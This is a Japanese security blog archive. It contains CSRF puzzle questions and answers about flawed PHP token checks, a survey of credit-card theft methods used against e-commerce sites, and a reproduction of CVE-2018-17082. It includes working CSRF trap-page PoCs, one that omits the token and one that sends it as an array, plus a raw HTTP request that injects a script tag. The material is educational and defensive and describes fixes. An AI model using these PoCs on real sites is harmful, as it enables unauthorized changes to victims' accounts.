次に、メールアドレスを適当に入力しますが、メールアドレス変更ボタンを押す前に、Burp Suite上で Intercept is on の状態にします。


その後メールアドレス変更ボタンを押します。下図のようにHTTPリクエストが捕捉されます。


上図の囲みの箇所で、トークンを下図のように変更します。

   
あとは Intercept is onボタンを押して(Intercept is offと表示が変わる)流しましょう。以下のように、メールアドレス変更に成功しました。


PoC作成

それでは、上記と同じ操作を再現するPoCを作成しましょう。
まず、chgmailform.phpを閲覧する操作が必要ですが、iframe要素にchgmailform.phpを表示することにより実現することにします。その後時間を置いてchgmail.phpをPOSTします。PoC例を以下に示します。
<body onload="setTimeout('document.forms[0].submit()', 5000)">
<iframe src="http://example.jp/chgmailform.php" width="250" height="100"></iframe>
<form method="POST" action="http://example.jp/chgmail.php">
<input name="mail" value="evil@example.com">
<input name="token[]" size="10" value="1">
<input type="submit">
</form>
</body>
PoCの表示例です。


5秒経過すると、自動サブミットにより、以下の状態になります。


メールアドレスが変更されていることがわかります。

対策の考え方

この記事で紹介した攻撃が成立する原因は、文字列を想定しているトークンとして配列を指定できるところにあります。これを防ぐ目的で、生の$_POSTではなく、filter_input関数を使う方法があります。
$p_token = filter_input(INPUT_POST, 'token');
こう書くと、$_POST['token']が配列の場合、filter_inputはfalseを返すので、empty()で空と判定され、エラーに倒すことができます。

また、トークンの比較にstrcmpを使うこともよくありません。これは初級編で書いていたように === を用いる方が安全ですが、もっと良い方法として、PHP 5.6で導入された hash_equals関数を使うべきです。hash_equals関数はタイミング攻撃の緩和のために導入されましたが、より現実的なメリットとして、配列やnull値など文字列以外の値が指定された場合falseを返すので、意図しない入力に対して頑健です。実装例を以下に示します。
$p_token = filter_input(INPUT_POST, 'token');
$s_token = $_SESSION['token'] ?? null;
if (empty($s_token) || empty($p_token) || ! hash_equals($s_token, $p_token)) {
  die('正規の画面からご使用ください');
}
このケースでは、empty()によるチェックはなくてもよいのですが、保険的に残しています。なくても良い理由は、empty()がtrueを返す値で、かつhash_equalsがtrueになる可能性は、トークンが空文字列(長さ0の文字列)同士で一致する場合だけですが、$_SESSION['token']が空文字列になるシナリオはないからです。

実際のアプリケーション開発の際には上記のように手作りのCSRF防御システムではなく、フレームワーク等が提供する仕組みを利用することをおすすめします。本稿で用いたサンプルは、脆弱性の説明のためにイケてない実装を採用しているので、改良したとしても本番システムでは使わないでください。

参考文献

PHPのstrcmp関数が配列を受け取った際の挙動については、OWASPのPHP Security Cheat Sheetに解説があり、JPCERT/CCの日本語訳で読むことができます。この解説の中に、Drupageddon(CVE-2014-3704)と「これとまったく同じ問題(原文はExactly the same issue)」とありますが、どうですかね。Drupageddonの原因については拙記事「DrupalのSQLインジェクションCVE-2014-3704(Drupageddon)について調べてみた」を参照ください。Drupageddonと類似の問題としては「JSON SQL Injection、PHPならJSONなしでもできるよ」もあります。もっとも、PHP Security Cheat Sheetは先程見に行ったら「This page has been recommended for deletion.」と削除されていました。なかなか激しいです。
拙著「体系的に学ぶ 安全なWebアプリケーションの作り方 第2版」には、$_POSTではなくfilter_inputを用いる方がよいこと(P111)、トークンの比較にhash_equalsを用いるべきこと(P263)等が解説されています。
strcmpのPHP 5.3.0における仕様変更の状況については、海老原昂輔さんの「PHP 5.3 でネイティブ関数の引数型エラー時の返り値が変更になったけど大丈夫?」が参考になります。この記事の話は私も知っておらず、勉強になりました。(2018/11/15 12:00追記)

以上で、中級問題の解答編は終わりです。よろしければ「OWASP CSRFの防止策に関するチートシートにツッコミを入れる」にもチャレンジしてみてください。

2018年11月12日月曜日

問題:間違ったCSRF対策~中級編~

この記事は「問題:間違ったCSRF対策~初級編~」の続編です。前回同様、この記事では問題のみを出し、想定解答は後日公開することにします。ネタバレとなるブックマークコメントやツイートなどは控えていただけると幸いです(「思いのほか簡単だった」など感想は可)。ブログ記事等に解説記事を書くことは歓迎いたします。
この問題が果たして「中級」なのかについては異論があると思います。きわめて易しいと思う人もいれば、きわめて難しいと思う人も多いと思います。中をとって中級としましたが、現実には難し目かと思います。

問題

今回の問題は、前回(初級編)のトークンチェック部分(chgmail.php内)のみを変更したものです。まずは変更箇所を説明します。

前回のおさらい
if ($_POST['token'] !== $_SESSION['token']) { // ワンタイムトークン確認
  die('正規の画面からご使用ください');
}
今回のチェックプログラムは下記。トークンが空でないかempty()により確認していますが、トークンのチェックにstrcmpを使っているところが、なにやら匂いますねw
if (empty($_SESSION['token']) || empty($_POST['token'])
   || strcmp($_POST['token'], $_SESSION['token'])) {  // ワンタイムトークン確認
  die('正規の画面からご使用ください');
}
以下は、上記を含めたメールアドレス変更プログラム(chgmail.php)の全体です。その他のスクリプト(mypage.php、chgmailform.php)は前回と同じなので、初級編を参照ください。
<?php // chgmail.php メールアドレス変更実行
  session_start();
  if (empty($_SESSION['id'])) {
    die('ログインしてください');
  }
  $id = $_SESSION['id']; // ユーザIDの取り出し
  if (empty($_SESSION['token']) || empty($_POST['token'])
     || strcmp($_POST['token'], $_SESSION['token'])) {  // ワンタイムトークン確認
    die('正規の画面からご使用ください');
  }
  unset($_SESSION['token']); // 使用済みトークンの削除
  $mail = $_POST['mail'];
  $_SESSION['mail'] = $mail;
?>
<body>
<?php echo htmlspecialchars($id, ENT_COMPAT, 'UTF-8'); ?>さんのメールアドレスを<?php
 echo htmlspecialchars($mail, ENT_COMPAT, 'UTF-8'); ?>に変更しました<br>
<a href="mypage.php">マイページ</a>
</body>

実行例は初級編と同じですので、初級編の記事を参照ください。

設問

利用者(被害者)がmypage.phpを閲覧した状態(ログイン中を想定)で、罠ページを閲覧させることにより、CSRF攻撃でメールアドレスを変更してください。この攻撃を実現する罠ページのPoC(概念実証コード)が解答になります。

解答は11月15日(木)に公開予定です。

解答:間違ったCSRF対策~初級編~

この記事は、先日の記事「問題:間違ったCSRF対策~初級編~」に対する解答編です。まだ問題を見ていない方は、先に問題を読んで(できれば自分で解答を考えて)からこの記事をお読みいただくとよいと思います。

それでは、解答を説明します。

はじめに

CSRF対策の不備として、ありがちなパターンは以下のとおりです。
  1. トークンが予測可能(ユーザIDのハッシュ値をトークンとして用いている等)
  2. 他人のトークンが利用できてしまう(参考記事
  3. トークンのチェック方法に不備がある。
問題のコードは、暗号論的に安全な乱数生成器(PHPのrandom_bytes関数)を用いてトークンを生成し、それをセッション変数に記憶しているので、上記1 と 2 は問題ないと考えられます。したがって、3 が該当しそうだと当たりをつけます。そのためには、攻撃者は以下のトークンチェック(chgmail.php内)を回避する必要があります。

if ($_POST['token'] !== $_SESSION['token']) { // ワンタイムトークン確認
  die('正規の画面からご使用ください');
}
$_POST['token']は攻撃者が自由に設定できますが、正規のトークンの値は乱数なので予想できません。そこで、$_SESSION['token']がどのような値をとるか調べてみましょう。ログイン直後(mypage.php)にはこの変数は設定されていません。そして、PHPの場合、設定されていない変数を参照するとNULLが返ります(警告が表示され処理は継続される)。つまり、$_SESSION['token']の見かけの初期値はNULLということになります。そして、入力フォーム(chgmailform.php)に遷移するとトークンが設定され、メールアドレス変更(chgmail.php)の際にNULL(未定義)に戻ります。この様子を状態遷移図として下図に示します。
$_SESSION['token']に通常NULLが入っていることを使ってCSRF攻撃ができます。$_POST['token']がNULLであれば、上記のif文はNULL同士の比較になるので、チェックを回避できます。具体的には、POSTパラメータtokenを消してしまうことによって、$_POST['token']がNULLとなり、CSRFチェックを回避できます。

スクリプトを動かして確認してみる

ここで、Burp Suite(無償のCommunity Editionを想定)を用いて、上記を確認してみましょう。プロキシとしてBurp Suiteを設定した状態で、サンプルプログラムのメールアドレス変更を実行します。そして、chgmail.phpへのPOSTリクエストを選択し、コンテキストメニューを表示(Windowsの場合は右マウスクリック)して、「Send To Repeater」をクリックします。


下図のようにRepeaterタブが赤色表示に変わるので、このRepeaterタブをクリックします。

以下のように、HTTPリクエストの内容が表示されます。


ここで、リクエストボディ(上記赤枠の中)からtoken=以下をまるごと削除し、mail=も適当なメールアドレスに変更します(下図)。


この状態でRepeaterの「Go」ボタンを押すと、下図右半分のように、「aliceさんのメールアドレスをevil@wasbook.orgに変更しました」と表示されます。


すなわち、tokenパラメータを削除しても、更新処理が正常に完了することがわかりました。

PoCの作成

それでは、PoC(概念実証コード)を作成しましょぅ。Burp SuiteのProfessional版やOWASP ZAPにはCSRFのPoC生成ツールが利用できますが、このケースはPoCも単純なので、手で作ってしまいましょう。

要件としては、http://example.jp/chgmail.phpに対して、POSTリクエストでmail=... というパラメータを送信するだけです。そのようなHTMLを作成します。手動でサブミットでもいいのですが、以下はフォームが表示されてから5秒後に自動的にサブミットするようにしています。
<body onload="setTimeout('document.forms[0].submit()', 6000)">
<form action="http://example.jp/chgmail.php" method="post">
<input name="mail" value="evil@example.com">
<input type="submit">
<form>
<body>
これを動かしてみましょう。あなたは現在被害者の立場です。mypage.phpを閲覧して対象スクリプトにログインします。


この状態で、あなた(被害者)は、CSRFの罠をうっかり閲覧してしまいました。


罠の中のJavaScript(body要素のonloadイベント)により上記FormがPOSTされ、以下のように無事(?)メールアドレスが変更されました。


参考文献

平成29年春季の情報処理安全確保支援士試験 午後Ⅰ問2(問題解答講評)にこの知識を問う問題が出題されました。たまたまこの試験を私も受けていましたw
拙著「体系的に学ぶ 安全なWebアプリケーションの作り方 第2版」のP194には、この内容についての解説があります。

以上で、初級問題の解答編は終わりです。よろしければ「中級編」にもチャレンジしてみてください。

2018年11月9日金曜日

問題:間違ったCSRF対策~初級編~

脆弱性診断の学習のお供に、比較的簡単なCSRF対策バグの問題を提供します。この記事では問題のみを出し、想定解答は後日公開することにします。ネタバレとなるブックマークコメントやツイートなどは控えていただけると幸いです(「思いのほか簡単だった」など感想は可)。ブログ記事等に解説記事を書くことは歓迎いたします。

問題


以下はテスト用に「ログインしたことにする」スクリプト(mypage.php)。ログイン状態で呼び出すこともでき、いずれの場合でもログインユーザのメールアドレスを表示します。
<?php // mypage.php : ログインしたことにする確認用のスクリプト
  session_start();
  if (empty($_SESSION['id'])) { // ログインしたことにしてメールアドレスも初期化
    $_SESSION['id'] = 'alice';
    $_SESSION['mail'] = 'alice@example.com';
  }
?><body>
ログイン中(id:<?php echo
  htmlspecialchars($_SESSION['id'], ENT_QUOTES, 'UTF-8'); ?>)<br>
メールアドレス:<?php echo
  htmlspecialchars($_SESSION['mail'], ENT_QUOTES, 'UTF-8'); ?><br>
<a href="chgmailform.php">メールアドレス変更</a><br>
</body>
以下はメールアドレス変更フォーム(chgmailform.php)。CSRF対策用のワンタイムトークンを生成してhiddenパラメータtokenにセットします。
<?php // chgmailform.php メールアドレス変更フォーム
  session_start();
  if (empty($_SESSION['id'])) {
    die('ログインしてください');
  }
  $token = bin2hex(random_bytes(24)); // ワンタイムトークン生成
  $_SESSION['token'] = $token;
?><body>
<form action="chgmail.php" method="POST">
メールアドレス<input name="mail"><BR>
<input type=submit value="メールアドレス変更">
<input type="hidden" name="token" value="<?php
 echo htmlspecialchars($token, ENT_COMPAT, 'UTF-8'); ?>">
</form>
</body>
以下はメールアドレス変更プログラム(chgmail.php)。ワンタイムトークン確認の後、メールアドレスを変更(実際にはセッション変数のみ変更)します。
<?php // chgmail.php メールアドレス変更実行
  session_start();
  if (empty($_SESSION['id'])) {
    die('ログインしてください');
  }
  $id = $_SESSION['id']; // ユーザIDの取り出し
  if ($_POST['token'] !== $_SESSION['token']) { // ワンタイムトークン確認
    die('正規の画面からご使用ください');
  }
  unset($_SESSION['token']); // 使用済みトークンの削除
  $mail = $_POST['mail'];
  $_SESSION['mail'] = $mail;
?>
<body>
<?php echo htmlspecialchars($id, ENT_COMPAT, 'UTF-8'); ?>さんのメールアドレスを<?php
 echo htmlspecialchars($mail, ENT_COMPAT, 'UTF-8'); ?>に変更しました<br>
<a href="mypage.php">マイページ</a>
</body>

以下は実行例です。まず mypage.php にアクセスすると、ログインしたことにしてセッション変数を初期化し、現在のメールアドレスを表示します。「メールアドレス変更」のリンクをクリックします。


以下の画面でメールアドレスを適当に入力し、「メールアドレス変更」ボタンを押します。


以下のように、メールアドレスが変更されたことを確認します。その後マイページに遷移して、メールアドレスの確認をするとよいでしょう。


設問

利用者(被害者)がmypage.phpを閲覧した状態(ログイン中を想定)で、罠ページを閲覧させることにより、CSRF攻撃でメールアドレスを変更してください。この攻撃を実現する罠ページのPoC(概念実証コード)が解答になります。

解答は週明けに公開予定で、その際にもう少し難易度の高い第2の問題を紹介します。

2018年10月18日木曜日

クレジットカード情報盗み出しの手口をまとめた

はじめに

先日の日記「ECサイトからクレジットカード情報を盗み出す新たな手口」は多くの方に読んでいただき、ありがとうございました。この記事では、「新たな手口」ではなく、従来からある手口についてまとめてみました。

1.SQLインジェクション

古典的な手法としてはSQLインジェクションがあります。下図のように、SQLインジェクション攻撃により、DBに保存されたクレジットカード情報を盗み出します。
攻撃が成立する条件は下記のとおりです。
  • DBにクレジットカード情報が保存されている
  • ウェブサイトにSQLインジェクション脆弱性がある
いずれも、現在の観点では論外の状況と言えますのでさすがに頻度は減っています。今年6月1日から施行されたカード情報非保持化により、今後はほとんど見られなくなると予想されます。過去の代表的な事例には以下があります。



2.バックドアを設置し、ログファイル等からカード情報を盗む

次は、ログファイルなどにカード情報が記録されているウェブサイトに対して、攻撃者がバックドアプログラムを設置して、バックドア経由でログファイルをダウンロードする攻撃です。
攻撃が成立する条件は下記の通りです。
  • ログファイル等にカード情報が保存されている
  • ウェブサイトに外部から任意コード実行(RCE; Remote Code Execution)可能な脆弱性(OSコマンドインジェクション等)がある
ログファイルにカード情報を記録することがあるのかという疑問がありますが、例えば、決済代事業者から提供される決済APIをデバッグモードのまま動作させていると、カード番号等がログに記録され、それが漏洩するケースがあります。イプサ事件等が該当します。

【セキュリティ ニュース】イプサ、不正アクセスの調査結果を公表 - デバッグモードによりカード情報残存

また、OSコマンドインジェクションが今どきでもあるのかという疑問が生じますが、イプサ事件はSSI(Server Side Include)の不適切な利用が原因でしたし、またStruts2の脆弱性により複数のカード情報漏洩事件が発生しています。
この手口もカード情報非保持化により対策できるので、今後はほとんど見られなくなると予想されます。

3.バックドアを設置しDBからカード情報を盗む

2の変形ですが、バックドアからファイルを盗むのではなくDBアクセスして情報を盗む手口も見られます。下図はエイベックス・グループ・ホールディングス株式会社の「個人情報不正アクセスに関する調査報告書」P8から「図表2」を引用したものです。
バックドアプログラムを設置後に、「DB管理ソフトウェア」を設置され、バックドアにより窃取したDBのIDとパスワードを用いて外部からDBにアクセスしたとされます。
DB管理ソフトウェアとは、phpMyAdminのようなものを想像いただければよいと思いますが、現実に使われたものはAdminerではないかと推測します。AdminerはPHPファイル1個だけからなるDB管理ソフトウェアであり、設置が容易なので、元々汎用のソフトウェアではありますが、この種の攻撃には便利に使えてしまうという側面があります。

エイベックスの事件ではカード情報は窃取されていませんが、有名なサウンドハウス事件は実際にバックドアが設置され、そこからDBアクセスしてカード情報が盗まれたと報告されています。参照している報告書では、SQLインジェクション攻撃によりバックドアを作成したと推測しています。

攻撃が成立する条件は下記の通りです。

  • DBにクレジットカード情報が保存されている
  • ウェブサイトに外部から任意コード実行(RCE; Remote Code Execution)可能な脆弱性(OSコマンドインジェクション等)がある

この手口もカード情報非保持化により対策できるので、今後はほとんど見られなくなると予想されます。

4.カード情報入力フォームを改ざんして入力中のカード情報を盗む

最近の主流の方法と筆者が考えている方法です。カード情報入力フォームを改ざんして、カード情報を外部に流出させるというものです。下図は、攻撃者がECサイトを攻撃して、JavaScriptによる仕掛けを設置している様子です。


この「仕掛け」がある状態で利用者がクレジットカード情報をフォーム入力すると、確認ボタン押下などのタイミングで、入力フォーム上のデータを攻撃者が管理するサーバーに送信します。


この方法だと、「仕掛け」の設置後に入力されたカード情報のみが得られるわけですが、現実には100件もカード情報が得られれば、悪用には十分でしょう。
このパターンが日本で最初に報告されたのは、2013年3月に発生したJINSオンラインショップからのカード情報漏洩で、最大2,059件のカード情報が漏洩し、そのうち20件が悪用(未遂含む)されたとあります。
この攻撃が成立する条件は以下のとおりです
  • カード情報入力画面が改ざんできる脆弱性がある
現実には、RCE可能な脆弱性が多く用いられているようです。JINSオンラインショップ事件の場合は、Struts2のS2-016が悪用されました。
最近の主流の手口と筆者が推測する根拠としては以下のブログ記事を参照ください。
この手口は、カード情報非保持化の実装の中で、リダイレクト型では対策できる(決済代行事業者のサイトは安全と想定)ものの、JavaScript型(トークン決済)では対策できません。決済代行事業者の多くがJavaScript型決済をさかんに宣伝していることと、リダイレクト型がECサイト事業者に忌避される傾向があることから、今後もこの手口は残ると予想します。

5.カード情報入力フォームの画面遷移中に偽の入力フォームを挟む

最近、SOKAオンラインストア事件に初めて報告された手口です。概要の図のみ掲載しますが、詳しくは先日のブログ記事「ECサイトからクレジットカード情報を盗み出す新たな手口」を参照ください。


この手口はクレジットカード情報非保持では対策できないため、先のブログ記事でも言及したように、今後のカード情報窃取手口の主流となる可能性が高いと筆者は予想しています。

対策

いずれの手口も、ECサイトの脆弱性が原因ですので、まずはECサイトの脆弱性を解消することで対策になります。主なものには以下があります。
  • ECサイトアプリケーションの脆弱性解消
  • ECサイトアプリケーションが利用しているソフトウェア部品(フレームワーク等)の脆弱性解消
  • ミドルウェアやOSの脆弱性解消
しかし、カスタムアプリケーションの脆弱性をゼロにすることも困難であるということと、Struts2の脆弱性にみるように脆弱性情報発表から攻撃開始に至る期間が極めて短いケースが増えていることから、以下に示す保険的な対策をあわせて推奨します。
  • WAF(Web Application Firewall)の導入
  • ファイルパーミッションとファイルオーナーの適切な設定
  • 改ざん検知システムの導入
詳しくは、先日のブログ記事から「対策」の項をお読みください。

まとめ

クレジットカード情報の盗み出しの手口について紹介しました。
純粋なSQLインジェクション攻撃によるものが減少しつつある一方、SQLインジェクション以外の手口には、外部からのファイル設置やファイル改ざんが伴うことがわかります。まずは脆弱性解消が対策の基本ではありますが、ファイル改ざんを防ぐことでも被害の防止ないし緩和の効果が大きいことが理解いただけるかと思います。

PR

EGセキュアソリューションズはECサイトのセキュリティ強化のお手伝いをしています。お気軽にご相談ください。サービスメニューはこちら

2018年10月15日月曜日

ECサイトからクレジットカード情報を盗み出す新たな手口

エグゼクティブサマリ

聖教新聞社が運営する通販サイト「SOKAオンラインストア」から2,481件のクレジットカード情報が漏洩した。リリースによると、漏洩に使われた手口は従来とは異なるもので、改正割賦販売法の実務上のガイドラインである「クレジットカード情報非保持化」では対策できないものであった。

はじめに

今年の9月4日に聖教新聞社の通販サイトSOKAオンラインストアからクレジットカード情報漏洩の可能性がリリースされました。以下は聖教新聞社から運営委託されているトランスコスモス株式会社のリリースです。
「SOKAオンラインストア」の件
このたび、弊社が聖教新聞社様より運営を委託されている「SOKAオンラインストア」において、クレジットカード情報を入力して商品をご注文いただいた一部のお客さまのクレジットカード情報が、第三者によって不正に取得された可能性があることが発覚い
たしました。

https://www.trans-cosmos.co.jp/company/news/pdf/2018/180904.pdf より引用
今年の6月1日に改正割賦販売法が施行された後に起きたカード情報漏えい事件なので手口に注目しておりましたが、比較的詳細の手口が10月9日に公表されました。以下はトランスコスモス社からの続報です。
2. 調査結果と原因
調査報告書によると、聖教新聞社様より当該サイトの運営を委託されている弊社が契約しているサーバーに対して、7 月 30 日に不正ファイルを混入され、プログラムが改ざんされました。そのためお客様が商品を購入する際に、偽のカード決済画面に遷移する仕組みとなっており、カード情報を不正に取得された可能性があることが発覚しました。
また、偽のカード決済画面にてカード情報を入力して送信ボタンを押すとエラーが表示され、本来の当該サイトの画面に転送されるという非常に巧妙な仕組みになっておりました。併せて、データベースに不正にアクセスされ、個人情報を不正に取得された可能性があることも発覚しました。

https://www.trans-cosmos.co.jp/company/news/pdf/2018/181009.pdf より引用
これはとても興味深い手口です。以下、図を用いて、クレジットカード情報を抜き取る手口を説明します。

どのような手口か

筆者はSOKAオンラインストアの決済時の画面遷移は把握していないのですが、本年6月1日に改正割賦販売法が施行され、経産省の説明によると、『クレジット取引セキュリティ協議会の「実行計画」は、割賦販売法に規定するセキュリティ対策の実務上の指針と位置付けられて』いることから、最新の実行計画2018に示されている以下の二種類の方法のいずれかであったと推測します。
  • リダイレクト(リンク)型
  • JavaScript型 ※トークン型
以下に示す方法は上記のいずれにも攻撃可能ですが、ここでは、一般的にはより安全とされているリダイレクト型を想定して説明します。
下図は、リダイレクト型決済の画面遷移です。リダイレクト型の場合、カード情報の入力画面はECサイトにはなく、決済代行事業者が運営する画面に遷移した後にカード情報を入力することになります。リダイレクト型決済は、ECサイト側にカード情報入力画面がないことから、他の方法(トークン型等も含め)にくらべて相対的に安全であると考えられてきました。

次に、SOKAオンラインストアに対する攻撃の様子を下図に示します。リリースによると、「偽のカード決済画面に遷移する仕組み」を攻撃者に作れられたとしています。偽のカード決済画面がどのサイトにあったかは明らかにされていませんが、プログラムの改ざんが行われたとリリースされていることから、偽のカード決済画面をECサイト上に作成することも技術的には可能であったはずです。下図はその前提で作成したもので、偽のカード決済画面は赤い枠で示しています。

そして、決済画面への遷移を偽画面の方に誘導します。偽画面は攻撃者が作成したものなので、利用者が入力したカード情報は、図の右下に示すように、攻撃者の元に送信されます。
しかし、このままでは正常な決済が行われないため、利用者が不審に思い、問い合わせなどから比較的短期間に「仕掛け」が露呈するはずです。この攻撃が巧妙なのは、いったん「決済エラー」を表示した上で、正常系の決済画面に誘導するところです。利用者は2度カード情報を入力することにはなりますが、カード番号の入力は16桁数字を正確に入力する必要があり間違いが入りやすいので、それほどは不審に思われなかっただろうと推測されます。
この仕組みにより、リリースによると、「2018年7月30日~2018年8月24日に、カード情報を入力して商品をご注文されたお客様 2,481 名」のカード情報が漏洩した可能性があるとのことです。

従来の手口との比較

ECサイトからのカード情報漏洩として古典的なものには、SQLインジェクション攻撃によるものや、ログファイルからの窃取などがあります。これらは、カード情報をECサイト側で「非保持」とすることで防ぐことができます。
しかし、近年は(非保持化の要求以前から)カード情報をECサイト側で保存することが少なくなってきたので、入力フォームを改ざんしてユーザが入力したカード情報を盗むという方法が増えています。その詳細が公開されているわけではありませんが、筆者はJavaScriptを入力フォームに注入することで、カード情報を外部に送信しているのではないかと推測します。この手口は、日本では2013年3月のJINS事件以降発生しており、その状況をブログ記事にまとめたことがあります(下記)。
そして、この手口に対しては、前述の「非保持化」対応のうち、リダイレクト型であれば対策でき、JavaScript型では対応できないことから、「リダイレクト型の方が相対的に安全」という見方をしておりました。
しかしながら、リダイレクト型・JavaScript型の双方に対応した今回の攻撃により、結局経産省その他が推進している「非保持化」のソリューションは五十歩百歩の効果しかない状態になったなという感想を持っています。

対策

この手口に対するECサイト側の対策ですが、まずは基本的な以下の対策をとる必要があります。
  • ウェブアプリケーションやソフトウェアライブラリ、プラットフォームの脆弱性対策(パッチ適用など)
  • 管理者等のパスワードを強固にする(可能ならばインターネットからは管理者ログインできないよう設定する)
加えて、以下の対策を推奨します。
  • Web Application Firewall(WAF)の導入
  • ファイルパーミッションとファイルオーナーの適切な設定
  • 改ざん検知システムの導入
最近のECサイトからのクレジットカード情報漏洩は、サイトの改ざんを伴うものが大半であることを考えると、ファイルパーミッションの設定と改ざん検知システムの導入は非常に効果があると考えられます。

とくに、ドキュメントルート下のディレクトリ(フォルダ)とファイルに対して、ウェブアプリケーションの権限で更新できないように設定すると、本稿で紹介した攻撃はできなくなります。この場合、単にファイルなどをリードオンリーに設定するだけでは不十分です。ウェブアプリケーションが動作するユーザがファイル等のオーナーになっている場合は、仮にリードオンリーの設定がされていても、攻撃者がまずchmodコマンドなどで書き込み権限を付与できるからです。
このため、ドキュメントルート下のファイル等は、ウェブアプリケーションが動作するユーザとは別のユーザをオーナーにしておくことが好ましいでしょう。一般的なレンタルサーバーではこの設定は難しい(ユーザを1種類しか使えない)ので、レンタルサーバーでECサイトを運営する場合は、脆弱性対処などに特に注意する必要があります。レンタルサーバーでは改ざん検知システムの導入は難しそうですが、最近はWAFが追加費用なしで使えるレンタルサーバーが増えているので、WAFをうまく利用できれば効果的だと考えます。

「非保持化」に対する思い

前述のように、今年の6月1日に改正割賦販売法が施行され、クレジットカード情報を扱うECサイト事業者にもカード情報保護が求められるようになりました。以下は割賦販売法の第三十五条の十六から括弧内の但し書きを抜いて引用したものです。
第三十五条の十六 クレジットカード番号等取扱業者は、経済産業省令で定める基準に従い、その取り扱うクレジットカード番号等の漏えい、滅失又は毀損の防止その他のクレジットカード番号等の適切な管理のために必要な措置を講じなければならない。

割賦販売法 | e-gov より引用
そして、「必要な処置」のガイドラインになるのが、『クレジット取引セキュリティ協議会の「実行計画」』であり、経産省から以下のように「お墨付き」が与えられています。
クレジット取引セキュリティ協議会の「実行計画」は、割賦販売法に規定するセキュリティ対策の実務上の指針と位置付けられており、「実行計画」に掲げる措置又はそれと同等以上の措置を講じている場合には、セキュリティ対策に係る法的基準を満たしていると認められます。

クレジットカード取引におけるセキュリティ対策の強化に向けた実行計画2018(「実行計画2018」)を取りまとめました~国際水準のクレジットカード決済環境の整備を進めます~(METI/経済産業省) より引用
この「実行計画」の柱は「クレジットカード情報の非保持化」であり、実行計画2018には以下のような記述さえ見られます。
2.加盟店におけるカード情報の非保持化の推進について
本協議会は、加盟店におけるカード情報保護のための第一の対策として非保持化を基本とした取組を推進する。
非保持化は PCI DSS 準拠とイコールではないものの、カード情報保護という観点では同等の効果があるものと認められるため、実行計画においては、PCI DSS 準拠に並ぶ措置として整理する。

クレジットカード取引におけるセキュリティ対策の強化に向けた実行計画-2018-【公表版】 より引用
そんなわけねーだろ、と心の中で突っ込んでいたわけですが、あまりに心配なので、ツテをたどって関係者に連絡を試みて不発に終ったりしておりました。なので、今回の事件を見て、「それ見たことか」という気持ちがないわけではありません。
しかしながら、同時に以下のような思いも芽生えました。ECサイト事業者の大半は中小零細企業であり、いきなりPCI DSS準拠を求めるような施策も現実的ではありません。非保持化という施策は、現状でなんとか実行可能で、対策としての効果も見込める(ただし十分とは言えない)ラインをひねり出したものかもしれません(私の妄想ですが)。前述の対策の際に、「レンタルサーバーは使うな」と書かなかったのですが、その理由は「零細なECサイト事業者がレンタルサーバーからVPSに移っても別の問題が生じるしな」という思いがあったからです。
いずれにせよ、今回のような手口が広がれば、今後の「実行計画」の改版の際には、より実効的な内容が求められることになると思います。

まとめ

SOKAオンラインストアからのクレジットカード情報漏洩手段について紹介しました。紹介した手口は、クレジットカード情報「非保持化」では対策できないものであり、今後のクレジットカード情報漏洩事件の主流となる可能性があります。事業者側の施策としては、基本をおろそかにしない一方で、サイト改ざんには特に重点的な施策が望ましいと考えます。具体的にはファイルパーミッションやファイルオーナーの設定、および改ざん検知システムの導入です。

【PR】

【10月24日(水)・11月7日(水)】
『体系的に学ぶ 安全なWebアプリケーションの作り方 第2版』基礎講座・応用講座 ~徳丸本によるホワイトハッカー入門~ 申し込み受付中

2018年9月25日火曜日

PHPの脆弱性 CVE-2018-17082 によるキャッシュ汚染についての注意喚起

エグゼクティブサマリ

PHPの脆弱性CVE-2018-17082はXSSとして報告されているが、現実にはXSSとしての攻撃経路はない。一方、Apacheのmod_cacheによるキャッシュ機能を有効にしているサイトでは、キャッシュ汚染という攻撃を受ける可能性がある。

概要

PHPの現在サポート中のすべてのバージョンについて、XSS脆弱性CVE-2018-17082が修正されました。以下は対応バージョンであり、これより前のすべてのバージョンが影響を受けます。ただし、Apacheとの接続にApache2handlerを用いている場合に限ります。
  • PHP 5.6.38
  • PHP 7.0.32
  • PHP 7.1.22
  • PHP 7.2.10
PHP 5.5以前も対象であり、これらは脆弱性は修正されていません。

脆弱性を再現させてみる

この脆弱性のPoCは、当問題のバグレポートにあります。

PHP :: Sec Bug #76582 :: XSS due to the header Transfer-Encoding: chunked

要約すると、Apacheハンドラを使用しているPHP環境に対して、壊れたchunkedエンコーディングのリクエストを送信すると、リクエストボディの内容がレスポンスにそのまま付加されてしまうというものです。
以下は、サンプルとしてもちいるPHPスクリプトです。拙著「体系的に学ぶ 安全なWebアプリケーションの作り方 第2版」から /31/31-001.php の転用です。

<body>
<?php echo htmlspecialchars(date('G:i')); ?>
</body>
これを以下のURLでアクセスします。88ポートを使っているのは、80ポートだとnginx経由となり、攻撃が刺さらないからです(後述)。
http://example.jp:88/31/31-001.php
このURLによるHTTPリクエストを以下の赤字のように変更します。
GET /31/31-001.php HTTP/1.1
Host: example.jp:88
User-Agent: Mozilla/5.0
Transfer-Encoding: chunked
Content-Length: 32

<script>alert('Hacked')</script>
以下のHTTPレスポンスが返りますが、赤字に示すように、リクエストボディに付加した文字列が追加されています。
HTTP/1.1 200 OK
Date: Sun, 23 Sep 2018 07:32:44 GMT
Server: Apache/2.4.25 (Debian)
X-UA-Compatible: IE=edge
Content-Length: 52
Connection: close
Content-Type: text/html; charset=UTF-8

<body>
16:32</body>
<script>alert('Hacked')</script>
ちなみに、Transfer-Encoding: chunked の場合、正しいリクエストは以下となります。20は16進数ですので、十進数にすると32ということになります。
GET /31/31-001.php HTTP/1.1
Host: example.jp:88
User-Agent: Mozilla/5.0
Transfer-Encoding: chunked

20
<script>alert('Hacked')</script>
0
             (空行)
CVE-2018-17082は、壊れたchunkedエンーコーディングの場合の処理にバグがあり、不正な結果を返すというものです。

CVE-2018-17082はXSSとしては攻撃できない

この脆弱性は元の報告やNVD等ではXSSとして報告されていますが、通常のXSSとは脆性の成り立ちが異なりますし、そもそもXSS攻撃はできません。
XSSとして攻撃するためには、被害者のブラウザから壊れたchunkedエンコーディングのリクエストを送信する必要がありますが、それは不可能です。このため、XSS攻撃はできません。

CVE-2018-17082によるキャッシュ汚染(mod_cache編)

しかし、脆弱性の影響がないわけではなく、キャッシュ汚染という手法が使える場合があります。筆者が調査した範囲では、プロキシサーバー形式のキャッシュサーバーでは影響がなく(後述)、Apacheのmod_cacheを用いたキャッシュ(リバースプロキシではなくApacheのレスポンスをダイレクトにキャッシュする場合)では影響があります。
以下は、キャッシュ汚染の模式図です。


